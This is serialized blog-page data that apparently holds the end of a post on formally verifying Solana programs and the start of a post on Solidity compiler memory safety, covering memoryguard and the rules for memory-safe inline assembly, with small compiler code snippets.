type":25,"tag":201,"props":30076,"children":30077},{"style":261},[30078],{"type":31,"value":11095},{"type":25,"tag":201,"props":30080,"children":30081},{"style":220},[30082],{"type":31,"value":29838},{"type":25,"tag":201,"props":30084,"children":30085},{"style":4497},[30086],{"type":31,"value":29843},{"type":25,"tag":201,"props":30088,"children":30089},{"class":203,"line":311},[30090],{"type":25,"tag":201,"props":30091,"children":30092},{"emptyLinePlaceholder":17},[30093],{"type":31,"value":496},{"type":25,"tag":201,"props":30095,"children":30096},{"class":203,"line":330},[30097,30101,30105,30109,30113,30117],{"type":25,"tag":201,"props":30098,"children":30099},{"style":208},[30100],{"type":31,"value":4508},{"type":25,"tag":201,"props":30102,"children":30103},{"style":246},[30104],{"type":31,"value":29862},{"type":25,"tag":201,"props":30106,"children":30107},{"style":261},[30108],{"type":31,"value":413},{"type":25,"tag":201,"props":30110,"children":30111},{"style":261},[30112],{"type":31,"value":26785},{"type":25,"tag":201,"props":30114,"children":30115},{"style":220},[30116],{"type":31,"value":18723},{"type":25,"tag":201,"props":30118,"children":30119},{"style":4497},[30120],{"type":31,"value":29879},{"type":25,"tag":201,"props":30122,"children":30123},{"class":203,"line":397},[30124,30128,30132,30136,30140],{"type":25,"tag":201,"props":30125,"children":30126},{"style":230},[30127],{"type":31,"value":13781},{"type":25,"tag":201,"props":30129,"children":30130},{"style":246},[30131],{"type":31,"value":29862},{"type":25,"tag":201,"props":30133,"children":30134},{"style":261},[30135],{"type":31,"value":4789},{"type":25,"tag":201,"props":30137,"children":30138},{"style":426},[30139],{"type":31,"value":29899},{"type":25,"tag":201,"props":30141,"children":30142},{"style":220},[30143],{"type":31,"value":327},{"type":25,"tag":201,"props":30145,"children":30146},{"class":203,"line":437},[30147,30151,30155,30159,30163,30167,30171],{"type":25,"tag":201,"props":30148,"children":30149},{"style":246},[30150],{"type":31,"value":27670},{"type":25,"tag":201,"props":30152,"children":30153},{"style":261},[30154],{"type":31,"value":80},{"type":25,"tag":201,"props":30156,"children":30157},{"style":220},[30158],{"type":31,"value":29919},{"type":25,"tag":201,"props":30160,"children":30161},{"style":261},[30162],{"type":31,"value":80},{"type":25,"tag":201,"props":30164,"children":30165},{"style":214},[30166],{"type":31,"value":29928},{"type":25,"tag":201,"props":30168,"children":30169},{"style":220},[30170],{"type":31,"value":29933},{"type":25,"tag":201,"props":30172,"children":30173},{"style":4497},[30174],{"type":31,"value":29938},{"type":25,"tag":201,"props":30176,"children":30177},{"class":203,"line":464},[30178],{"type":25,"tag":201,"props":30179,"children":30180},{"style":220},[30181],{"type":31,"value":4861},{"type":25,"tag":201,"props":30183,"children":30184},{"class":203,"line":490},[30185],{"type":25,"tag":201,"props":30186,"children":30187},{"emptyLinePlaceholder":17},[30188],{"type":31,"value":496},{"type":25,"tag":201,"props":30190,"children":30191},{"class":203,"line":499},[30192],{"type":25,"tag":201,"props":30193,"children":30194},{"style":4497},[30195],{"type":31,"value":30196},"    // Enforce invariants at runtime\n",{"type":25,"tag":201,"props":30198,"children":30199},{"class":203,"line":522},[30200,30204,30208,30212,30216,30220,30224,30228],{"type":25,"tag":201,"props":30201,"children":30202},{"style":214},[30203],{"type":31,"value":20739},{"type":25,"tag":201,"props":30205,"children":30206},{"style":220},[30207],{"type":31,"value":298},{"type":25,"tag":201,"props":30209,"children":30210},{"style":246},[30211],{"type":31,"value":21777},{"type":25,"tag":201,"props":30213,"children":30214},{"style":261},[30215],{"type":31,"value":80},{"type":25,"tag":201,"props":30217,"children":30218},{"style":220},[30219],{"type":31,"value":29919},{"type":25,"tag":201,"props":30221,"children":30222},{"style":261},[30223],{"type":31,"value":80},{"type":25,"tag":201,"props":30225,"children":30226},{"style":214},[30227],{"type":31,"value":23273},{"type":25,"tag":201,"props":30229,"children":30230},{"style":220},[30231],{"type":31,"value":16921},{"type":25,"tag":201,"props":30233,"children":30234},{"class":203,"line":531},[30235],{"type":25,"tag":201,"props":30236,"children":30237},{"emptyLinePlaceholder":17},[30238],{"type":31,"value":496},{"type":25,"tag":201,"props":30240,"children":30241},{"class":203,"line":550},[30242,30246],{"type":25,"tag":201,"props":30243,"children":30244},{"style":4925},[30245],{"type":31,"value":15835},{"type":25,"tag":201,"props":30247,"children":30248},{"style":220},[30249],{"type":31,"value":15840},{"type":25,"tag":201,"props":30251,"children":30252},{"class":203,"line":563},[30253],{"type":25,"tag":201,"props":30254,"children":30255},{"style":220},[30256],{"type":31,"value":1187},{"type":25,"tag":34,"props":30258,"children":30259},{},[30260,30262,30267,30269,30274,30276,30281],{"type":31,"value":30261},"Here, we explicitly ",{"type":25,"tag":115,"props":30263,"children":30265},{"className":30264},[],[30266],{"type":31,"value":21481},{"type":31,"value":30268}," that our invariants hold at ",{"type":25,"tag":65,"props":30270,"children":30271},{},[30272],{"type":31,"value":30273},"runtime",{"type":31,"value":30275}," which allows us to be assured that ",{"type":25,"tag":115,"props":30277,"children":30279},{"className":30278},[],[30280],{"type":31,"value":29919},{"type":31,"value":30282}," will not enter a bad state as a result of some unverifiable behavior.",{"type":25,"tag":34,"props":30284,"children":30285},{},[30286],{"type":31,"value":30287},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":25,"tag":26,"props":30289,"children":30291},{"id":30290},"challenges-of-formal-verification-on-solana",[30292],{"type":31,"value":30293},"Challenges of formal verification on Solana",{"type":25,"tag":40,"props":30295,"children":30297},{"id":30296},"expensive-computation",[30298],{"type":31,"value":30299},"Expensive computation",{"type":25,"tag":34,"props":30301,"children":30302},{},[30303,30305,30310],{"type":31,"value":30304},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":25,"tag":65,"props":30306,"children":30307},{},[30308],{"type":31,"value":30309},"path explosion",{"type":31,"value":30311},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":25,"tag":34,"props":30313,"children":30314},{},[30315,30317,30322],{"type":31,"value":30316},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":25,"tag":65,"props":30318,"children":30319},{},[30320],{"type":31,"value":30321},"formal verification friendly",{"type":31,"value":30323},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":25,"tag":34,"props":30325,"children":30326},{},[30327,30329,30334,30336,30341],{"type":31,"value":30328},"For example, when verifying things like the uniqueness of a ",{"type":25,"tag":115,"props":30330,"children":30332},{"className":30331},[],[30333],{"type":31,"value":22893},{"type":31,"value":30335}," in a ",{"type":25,"tag":115,"props":30337,"children":30339},{"className":30338},[],[30340],{"type":31,"value":18707},{"type":31,"value":30342},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":25,"tag":34,"props":30344,"children":30345},{},[30346,30348,30353,30355,30360,30362,30367,30369,30374,30376,30381,30383,30388],{"type":31,"value":30347},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":25,"tag":115,"props":30349,"children":30351},{"className":30350},[],[30352],{"type":31,"value":18707},{"type":31,"value":30354}," or a 32-byte ",{"type":25,"tag":115,"props":30356,"children":30358},{"className":30357},[],[30359],{"type":31,"value":22893},{"type":31,"value":30361},". Instead, our tool can substitute in ",{"type":25,"tag":65,"props":30363,"children":30364},{},[30365],{"type":31,"value":30366},"cheaper",{"type":31,"value":30368}," types and functions, such as a 4-byte ",{"type":25,"tag":115,"props":30370,"children":30372},{"className":30371},[],[30373],{"type":31,"value":22893},{"type":31,"value":30375}," struct and a fixed-size, array-backed ",{"type":25,"tag":115,"props":30377,"children":30379},{"className":30378},[],[30380],{"type":31,"value":18707},{"type":31,"value":30382}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":25,"tag":65,"props":30384,"children":30385},{},[30386],{"type":31,"value":30387},"much",{"type":31,"value":30389}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":25,"tag":34,"props":30391,"children":30392},{},[30393],{"type":31,"value":30394},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":25,"tag":40,"props":30396,"children":30398},{"id":30397},"runtime-environment",[30399],{"type":31,"value":30400},"Runtime Environment",{"type":25,"tag":34,"props":30402,"children":30403},{},[30404],{"type":31,"value":30405},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":25,"tag":34,"props":30407,"children":30408},{},[30409],{"type":31,"value":30410},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":25,"tag":34,"props":30412,"children":30413},{},[30414],{"type":31,"value":30415},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":25,"tag":26,"props":30417,"children":30418},{"id":4323},[30419],{"type":31,"value":4326},{"type":25,"tag":34,"props":30421,"children":30422},{},[30423],{"type":31,"value":30424},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":25,"tag":34,"props":30426,"children":30427},{},[30428],{"type":31,"value":30429},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":25,"tag":20292,"props":30431,"children":30432},{},[],{"type":25,"tag":34,"props":30434,"children":30435},{},[30436],{"type":25,"tag":65,"props":30437,"children":30438},{},[30439,30441,30446,30447,30451],{"type":31,"value":30440},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":25,"tag":71,"props":30442,"children":30444},{"href":20375,"rel":30443},[75],[30445],{"type":31,"value":20379},{"type":31,"value":20381},{"type":25,"tag":71,"props":30448,"children":30449},{"href":20384},[30450],{"type":31,"value":20387},{"type":31,"value":80},{"type":25,"tag":4349,"props":30453,"children":30454},{},[30455],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":30457},[30458,30464,30468,30473,30479,30483],{"id":20449,"depth":226,"text":20452,"children":30459},[30460,30461,30462,30463],{"id":20455,"depth":278,"text":20458},{"id":20523,"depth":278,"text":20526},{"id":21401,"depth":278,"text":21404},{"id":21441,"depth":278,"text":21444},{"id":21494,"depth":226,"text":30465,"children":30466},"Specification: How can we describe what we want our program to do?",[30467],{"id":21607,"depth":278,"text":21610},{"id":22965,"depth":226,"text":22968,"children":30469},[30470,30471,30472],{"id":23642,"depth":278,"text":23645},{"id":23927,"depth":278,"text":23930},{"id":24071,"depth":278,"text":24074},{"id":24212,"depth":226,"text":24215,"children":30474},[30475,30476,30477,30478],{"id":24283,"depth":278,"text":24286},{"id":26124,"depth":278,"text":26127},{"id":26925,"depth":278,"text":24275},{"id":29450,"depth":278,"text":24280},{"id":30290,"depth":226,"text":30293,"children":30480},[30481,30482],{"id":30296,"depth":278,"text":30299},{"id":30397,"depth":278,"text":30400},{"id":4323,"depth":226,"text":4326},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":30488,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30489,"description":30490,"author":7229,"image":30491,"date":30493,"isFeatured":17,"onBlogPage":17,"tags":30494,"body":30496,"_type":4371,"_id":31914,"_source":4373,"_file":31915,"_stem":31916,"_extension":4376},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":30492,"height":15,"width":15},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[5979,30495],"compiler",{"type":22,"children":30497,"toc":31905},[30498,30502,30538,30550,30556,30578,30591,30739,30760,30765,30786,30791,30799,30804,30809,30814,30820,30839,30844,30865,30928,30941,30971,30991,31018,31023,31036,31041,31046,31059,31090,31113,31267,31285,31336,31355,31380,31385,31391,31418,31438,31466,31471,31493,31512,31520,31531,31536,31552,31809,31817,31822,31826,31831,31836,31901],{"type":25,"tag":26,"props":30499,"children":30500},{"id":28},[30501],{"type":31,"value":32},{"type":25,"tag":34,"props":30503,"children":30504},{},[30505,30507,30513,30514,30518,30520,30527,30529,30536],{"type":31,"value":30506},"What does ",{"type":25,"tag":115,"props":30508,"children":30510},{"className":30509},[],[30511],{"type":31,"value":30512},"memory-safe",{"type":31,"value":7966},{"type":25,"tag":65,"props":30515,"children":30516},{},[30517],{"type":31,"value":10792},{"type":31,"value":30519}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":25,"tag":71,"props":30521,"children":30524},{"href":30522,"rel":30523},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[75],[30525],{"type":31,"value":30526},"presents some requirements",{"type":31,"value":30528},", but is production code that ",{"type":25,"tag":71,"props":30530,"children":30533},{"href":30531,"rel":30532},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[75],[30534],{"type":31,"value":30535},"violates these requirements",{"type":31,"value":30537}," necessarily unsafe?",{"type":25,"tag":34,"props":30539,"children":30540},{},[30541,30543,30548],{"type":31,"value":30542},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":25,"tag":65,"props":30544,"children":30545},{},[30546],{"type":31,"value":30547},"memory-safety",{"type":31,"value":30549}," actually means.",{"type":25,"tag":26,"props":30551,"children":30553},{"id":30552},"compiler-pipeline",[30554],{"type":31,"value":30555},"Compiler Pipeline",{"type":25,"tag":34,"props":30557,"children":30558},{},[30559,30561,30568,30570,30577],{"type":31,"value":30560},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":25,"tag":71,"props":30562,"children":30565},{"href":30563,"rel":30564},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[75],[30566],{"type":31,"value":30567},"released in v0.8.13",{"type":31,"value":30569},". Compilation happens ",{"type":25,"tag":71,"props":30571,"children":30574},{"href":30572,"rel":30573},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[75],[30575],{"type":31,"value":30576},"in two main steps",{"type":31,"value":5997},{"type":25,"tag":6944,"props":30579,"children":30580},{},[30581,30586],{"type":25,"tag":6948,"props":30582,"children":30583},{},[30584],{"type":31,"value":30585},"Solidity to YUL IR",{"type":25,"tag":6948,"props":30587,"children":30588},{},[30589],{"type":31,"value":30590},"YUL IR to EVM opcodes",{"type":25,"tag":191,"props":30592,"children":30596},{"className":30593,"code":30594,"language":30595,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[30597],{"type":25,"tag":115,"props":30598,"children":30599},{"__ignoreMap":7},[30600,30630,30651,30663,30671,30683,30703,30711,30732],{"type":25,"tag":201,"props":30601,"children":30602},{"class":203,"line":204},[30603,30607,30612,30616,30621,30625],{"type":25,"tag":201,"props":30604,"children":30605},{"style":230},[30606],{"type":31,"value":13781},{"type":25,"tag":201,"props":30608,"children":30609},{"style":220},[30610],{"type":31,"value":30611}," (m_viaIR ",{"type":25,"tag":201,"props":30613,"children":30614},{"style":261},[30615],{"type":31,"value":23914},{"type":25,"tag":201,"props":30617,"children":30618},{"style":220},[30619],{"type":31,"value":30620}," m_generateIR ",{"type":25,"tag":201,"props":30622,"children":30623},{"style":261},[30624],{"type":31,"value":23914},{"type":25,"tag":201,"props":30626,"children":30627},{"style":220},[30628],{"type":31,"value":30629}," m_generateEwasm)\n",{"type":25,"tag":201,"props":30631,"children":30632},{"class":203,"line":226},[30633,30638,30642,30646],{"type":25,"tag":201,"props":30634,"children":30635},{"style":214},[30636],{"type":31,"value":30637},"        generateIR",{"type":25,"tag":201,"props":30639,"children":30640},{"style":220},[30641],{"type":31,"value":298},{"type":25,"tag":201,"props":30643,"children":30644},{"style":261},[30645],{"type":31,"value":6077},{"type":25,"tag":201,"props":30647,"children":30648},{"style":220},[30649],{"type":31,"value":30650},"contract);\n",{"type":25,"tag":201,"props":30652,"children":30653},{"class":203,"line":278},[30654,30658],{"type":25,"tag":201,"props":30655,"children":30656},{"style":230},[30657],{"type":31,"value":13781},{"type":25,"tag":201,"props":30659,"children":30660},{"style":220},[30661],{"type":31,"value":30662}," (m_generateEvmBytecode)\n",{"type":25,"tag":201,"props":30664,"children":30665},{"class":203,"line":311},[30666],{"type":25,"tag":201,"props":30667,"children":30668},{"style":220},[30669],{"type":31,"value":30670},"    {\n",{"type":25,"tag":201,"props":30672,"children":30673},{"class":203,"line":330},[30674,30678],{"type":25,"tag":201,"props":30675,"children":30676},{"style":230},[30677],{"type":31,"value":4779},{"type":25,"tag":201,"props":30679,"children":30680},{"style":220},[30681],{"type":31,"value":30682}," (m_viaIR)\n",{"type":25,"tag":201,"props":30684,"children":30685},{"class":203,"line":397},[30686,30691,30695,30699],{"type":25,"tag":201,"props":30687,"children":30688},{"style":214},[30689],{"type":31,"value":30690},"            generateEVMFromIR",{"type":25,"tag":201,"props":30692,"children":30693},{"style":220},[30694],{"type":31,"value":298},{"type":25,"tag":201,"props":30696,"children":30697},{"style":261},[30698],{"type":31,"value":6077},{"type":25,"tag":201,"props":30700,"children":30701},{"style":220},[30702],{"type":31,"value":30650},{"type":25,"tag":201,"props":30704,"children":30705},{"class":203,"line":437},[30706],{"type":25,"tag":201,"props":30707,"children":30708},{"style":230},[30709],{"type":31,"value":30710},"        else\n",{"type":25,"tag":201,"props":30712,"children":30713},{"class":203,"line":464},[30714,30719,30723,30727],{"type":25,"tag":201,"props":30715,"children":30716},{"style":214},[30717],{"type":31,"value":30718},"            compileContract",{"type":25,"tag":201,"props":30720,"children":30721},{"style":220},[30722],{"type":31,"value":298},{"type":25,"tag":201,"props":30724,"children":30725},{"style":261},[30726],{"type":31,"value":6077},{"type":25,"tag":201,"props":30728,"children":30729},{"style":220},[30730],{"type":31,"value":30731},"contract, otherCompilers);\n",{"type":25,"tag":201,"props":30733,"children":30734},{"class":203,"line":490},[30735],{"type":25,"tag":201,"props":30736,"children":30737},{"style":220},[30738],{"type":31,"value":4861},{"type":25,"tag":34,"props":30740,"children":30741},{},[30742,30744,30751,30752,30759],{"type":31,"value":30743},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":25,"tag":71,"props":30745,"children":30748},{"href":30746,"rel":30747},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[75],[30749],{"type":31,"value":30750},"YulStack::optimize",{"type":31,"value":12493},{"type":25,"tag":71,"props":30753,"children":30756},{"href":30754,"rel":30755},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[75],[30757],{"type":31,"value":30758},"Assembly::optimize",{"type":31,"value":80},{"type":25,"tag":34,"props":30761,"children":30762},{},[30763],{"type":31,"value":30764},"In total, there are four steps.",{"type":25,"tag":6944,"props":30766,"children":30767},{},[30768,30772,30777,30781],{"type":25,"tag":6948,"props":30769,"children":30770},{},[30771],{"type":31,"value":30585},{"type":25,"tag":6948,"props":30773,"children":30774},{},[30775],{"type":31,"value":30776},"Optimization of YUL IR",{"type":25,"tag":6948,"props":30778,"children":30779},{},[30780],{"type":31,"value":30590},{"type":25,"tag":6948,"props":30782,"children":30783},{},[30784],{"type":31,"value":30785},"Optimization of EVM opcodes",{"type":25,"tag":34,"props":30787,"children":30788},{},[30789],{"type":31,"value":30790},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":25,"tag":4439,"props":30792,"children":30793},{},[30794],{"type":25,"tag":34,"props":30795,"children":30796},{},[30797],{"type":31,"value":30798},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":25,"tag":34,"props":30800,"children":30801},{},[30802],{"type":31,"value":30803},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":25,"tag":34,"props":30805,"children":30806},{},[30807],{"type":31,"value":30808},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":25,"tag":34,"props":30810,"children":30811},{},[30812],{"type":31,"value":30813},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":25,"tag":26,"props":30815,"children":30817},{"id":30816},"guarantees",[30818],{"type":31,"value":30819},"Guarantees",{"type":25,"tag":34,"props":30821,"children":30822},{},[30823,30824,30831,30833,30838],{"type":31,"value":18109},{"type":25,"tag":71,"props":30825,"children":30828},{"href":30826,"rel":30827},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[75],[30829],{"type":31,"value":30830},"Solidity memory layout",{"type":31,"value":30832}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":25,"tag":65,"props":30834,"children":30835},{},[30836],{"type":31,"value":30837},"no information about this layout",{"type":31,"value":80},{"type":25,"tag":34,"props":30840,"children":30841},{},[30842],{"type":31,"value":30843},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":25,"tag":34,"props":30845,"children":30846},{},[30847,30849,30855,30857,30863],{"type":31,"value":30848},"Introducing ",{"type":25,"tag":115,"props":30850,"children":30852},{"className":30851},[],[30853],{"type":31,"value":30854},"memoryguard",{"type":31,"value":30856},". If you've ever looked at the output of ",{"type":25,"tag":115,"props":30858,"children":30860},{"className":30859},[],[30861],{"type":31,"value":30862},"solc --ir",{"type":31,"value":30864},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":25,"tag":191,"props":30866,"children":30868},{"className":5980,"code":30867,"language":5979,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[30869],{"type":25,"tag":115,"props":30870,"children":30871},{"__ignoreMap":7},[30872,30890],{"type":25,"tag":201,"props":30873,"children":30874},{"class":203,"line":204},[30875,30880,30885],{"type":25,"tag":201,"props":30876,"children":30877},{"style":4497},[30878],{"type":31,"value":30879},"    /// @src 0:26:371  \"contract ",{"type":25,"tag":201,"props":30881,"children":30882},{"style":208},[30883],{"type":31,"value":30884},"XXX",{"type":25,"tag":201,"props":30886,"children":30887},{"style":4497},[30888],{"type":31,"value":30889}," {...\"\n",{"type":25,"tag":201,"props":30891,"children":30892},{"class":203,"line":226},[30893,30898,30902,30907,30911,30915,30919,30924],{"type":25,"tag":201,"props":30894,"children":30895},{"style":214},[30896],{"type":31,"value":30897},"    store",{"type":25,"tag":201,"props":30899,"children":30900},{"style":220},[30901],{"type":31,"value":298},{"type":25,"tag":201,"props":30903,"children":30904},{"style":426},[30905],{"type":31,"value":30906},"64",{"type":25,"tag":201,"props":30908,"children":30909},{"style":220},[30910],{"type":31,"value":919},{"type":25,"tag":201,"props":30912,"children":30913},{"style":214},[30914],{"type":31,"value":30854},{"type":25,"tag":201,"props":30916,"children":30917},{"style":220},[30918],{"type":31,"value":298},{"type":25,"tag":201,"props":30920,"children":30921},{"style":426},[30922],{"type":31,"value":30923},"0x80",{"type":25,"tag":201,"props":30925,"children":30926},{"style":220},[30927],{"type":31,"value":1086},{"type":25,"tag":34,"props":30929,"children":30930},{},[30931,30933,30940],{"type":31,"value":30932},"From ",{"type":25,"tag":71,"props":30934,"children":30937},{"href":30935,"rel":30936},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[75],[30938],{"type":31,"value":30939},"the documentation",{"type":31,"value":5628},{"type":25,"tag":4439,"props":30942,"children":30943},{},[30944],{"type":25,"tag":34,"props":30945,"children":30946},{},[30947,30949,30955,30957,30963,30965,30970],{"type":31,"value":30948},"The caller of ",{"type":25,"tag":115,"props":30950,"children":30952},{"className":30951},[],[30953],{"type":31,"value":30954},"let ptr := memoryguard(size)",{"type":31,"value":30956}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":25,"tag":115,"props":30958,"children":30960},{"className":30959},[],[30961],{"type":31,"value":30962},"[0, size)",{"type":31,"value":30964}," or the unbounded range starting at ",{"type":25,"tag":115,"props":30966,"children":30968},{"className":30967},[],[30969],{"type":31,"value":15451},{"type":31,"value":80},{"type":25,"tag":34,"props":30972,"children":30973},{},[30974,30976,30981,30983,30989],{"type":31,"value":30975},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":25,"tag":115,"props":30977,"children":30979},{"className":30978},[],[30980],{"type":31,"value":30854},{"type":31,"value":30982}," return ",{"type":25,"tag":115,"props":30984,"children":30986},{"className":30985},[],[30987],{"type":31,"value":30988},"size + 32",{"type":31,"value":30990},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":25,"tag":34,"props":30992,"children":30993},{},[30994,30996,31003,31005,31010,31012,31017],{"type":31,"value":30995},"An example of this optimization in practice ",{"type":25,"tag":71,"props":30997,"children":31000},{"href":30998,"rel":30999},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[75],[31001],{"type":31,"value":31002},"is the StackLimitEvader",{"type":31,"value":31004},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":25,"tag":65,"props":31006,"children":31007},{},[31008],{"type":31,"value":31009},"only",{"type":31,"value":31011}," optimization pass that relies on the semantic information communicated by ",{"type":25,"tag":115,"props":31013,"children":31015},{"className":31014},[],[31016],{"type":31,"value":30854},{"type":31,"value":80},{"type":25,"tag":34,"props":31019,"children":31020},{},[31021],{"type":31,"value":31022},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":25,"tag":34,"props":31024,"children":31025},{},[31026,31028,31034],{"type":31,"value":31027},"Fear not, for we can remove this pointer entirely and call ",{"type":25,"tag":115,"props":31029,"children":31031},{"className":31030},[],[31032],{"type":31,"value":31033},"memoryguard(0x60)",{"type":31,"value":31035}," instead. The rest of the pipeline will still work.",{"type":25,"tag":26,"props":31037,"children":31038},{"id":30547},[31039],{"type":31,"value":31040},"Memory Safety",{"type":25,"tag":34,"props":31042,"children":31043},{},[31044],{"type":31,"value":31045},"So what does memory safety mean?",{"type":25,"tag":34,"props":31047,"children":31048},{},[31049,31051,31057],{"type":31,"value":31050},"The Solidity documentation provides ",{"type":25,"tag":71,"props":31052,"children":31054},{"href":30522,"rel":31053},[75],[31055],{"type":31,"value":31056},"a set of constraints",{"type":31,"value":31058},", not a definition.",{"type":25,"tag":4439,"props":31060,"children":31061},{},[31062,31067],{"type":25,"tag":34,"props":31063,"children":31064},{},[31065],{"type":31,"value":31066},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":25,"tag":6944,"props":31068,"children":31069},{},[31070,31075,31080,31085],{"type":25,"tag":6948,"props":31071,"children":31072},{},[31073],{"type":31,"value":31074},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":25,"tag":6948,"props":31076,"children":31077},{},[31078],{"type":31,"value":31079},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":25,"tag":6948,"props":31081,"children":31082},{},[31083],{"type":31,"value":31084},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":25,"tag":6948,"props":31086,"children":31087},{},[31088],{"type":31,"value":31089},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":25,"tag":34,"props":31091,"children":31092},{},[31093,31095,31102,31112],{"type":31,"value":31094},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":25,"tag":71,"props":31096,"children":31099},{"href":31097,"rel":31098},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[75],[31100],{"type":31,"value":31101},"removes the memory guard",{"type":25,"tag":16970,"props":31103,"children":31104},{},[31105],{"type":25,"tag":71,"props":31106,"children":31110},{"href":31107,"ariaDescribedBy":31108,"dataFootnoteRef":7,"id":31109},"#user-content-fn-1",[16977],"user-content-fnref-1",[31111],{"type":31,"value":5516},{"type":31,"value":80},{"type":25,"tag":191,"props":31114,"children":31116},{"className":30593,"code":31115,"language":30595,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  